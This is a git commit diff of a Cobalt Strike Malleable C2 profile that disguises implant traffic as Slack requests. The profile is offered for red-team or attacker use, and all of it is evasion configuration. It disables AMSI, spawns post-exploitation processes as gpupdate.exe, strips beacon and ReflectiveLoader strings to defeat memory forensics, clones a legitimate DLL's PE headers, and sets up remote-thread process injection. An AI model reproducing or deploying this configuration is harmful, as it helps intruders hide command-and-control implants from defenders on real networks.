infosecn1nja
/
Malleable-C2-Profiles
mirror of https://github.com/infosecn1nja/Malleable-C2-Profiles.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

update to work with 3.14.

master
xx0hcd 2019-05-10 09:47:11 -05:00 committed by GitHub
parent b829a6b1e5
commit 759ca8090d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 64 additions and 18 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

66
normal/slack.profile
View File

@ -1,7 +1,5 @@
#slack profile #slack profile
#used a MS dev group from a 'top slack groups' list #used a MS dev group from a 'top slack groups' list
#setting the host header can mess things up if a LB, etc get involved. i.e. like domain fronting action. Comment/change Host: header if having issues!
#I tested module stomp on Win10 x64 enterprise with several payload options.
#xx0hcd #xx0hcd
@ -11,6 +9,21 @@ set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Geck
set dns_idle "8.8.8.8"; set dns_idle "8.8.8.8";
set maxdns "235"; set maxdns "235";
#custom cert
#https-certificate {
# set keystore "your_store_file.store";
# set password "your_store_pass";
#}
http-config {
# set headers "Server, Content-Type, Cache-Control, Connection";
# header "Content-Type" "text/html;charset=UTF-8";
# header "Connection" "close";
# header "Cache-Control" "max-age=2";
# header "Server" "nginx";
#set "true" if teamserver is behind redirector
set trust_x_forwarded_for "false";
}
http-get { http-get {
@ -18,7 +31,7 @@ http-get {
client { client {
header "Host" "msdevchat.slack.com"; # header "Host" "msdevchat.slack.com";
header "Accept" "*/*"; header "Accept" "*/*";
header "Accept-Language" "en-US"; header "Accept-Language" "en-US";
header "Connection" "close"; header "Connection" "close";
@ -105,7 +118,7 @@ http-post {
client { client {
header "Host" "msdevchat.slack.com"; # header "Host" "msdevchat.slack.com";
header "Accept" "*/*"; header "Accept" "*/*";
header "Accept-Language" "en-US"; header "Accept-Language" "en-US";
@ -193,13 +206,19 @@ http-stager {
###Malleable PE Options### ###Malleable PE Options###
#Using some of the new 3.11 options. post-ex {
#https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/
#https://blog.cobaltstrike.com/2018/04/23/fighting-the-toolset/
set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe"; set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe"; set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
set obfuscate "true";
set smartinject "true";
set amsi_disable "true";
}
#used peclone on wwanmm.dll. #used peclone on wwanmm.dll.
#don't use 'set image_size_xx' if using 'set module_xx' #don't use 'set image_size_xx' if using 'set module_xx'
stage { stage {
@ -222,14 +241,41 @@ stage {
set module_x86 "wwanmm.dll"; set module_x86 "wwanmm.dll";
set module_x64 "wwanmm.dll"; set module_x64 "wwanmm.dll";
#replace 'tell' strings that can show up in memory analysis, just putting a couple in here..
transform-x86 { transform-x86 {
prepend "\x90\x90\x90";
strrep "ReflectiveLoader" ""; strrep "ReflectiveLoader" "";
strrep "beacon.dll" "winsku.dll"; strrep "beacon.dll" "";
} }
transform-x64 { transform-x64 {
prepend "\x90\x90\x90";
strrep "ReflectiveLoader" ""; strrep "ReflectiveLoader" "";
strrep "beacon.64.dll" "winsockhc.dll"; strrep "beacon.x64.dll" "";
}
}
process-inject {
set allocator "NtMapViewOfSection";
set min_alloc "16700";
set userwx "false";
set startrwx "true";
transform-x86 {
prepend "\x90\x90\x90";
}
transform-x64 {
prepend "\x90\x90\x90";
}
execute {
CreateThread "ntdll!RtlUserThreadStart";
CreateThread;
NtQueueApcThread;
CreateRemoteThread;
RtlCreateUserThread;
} }
} }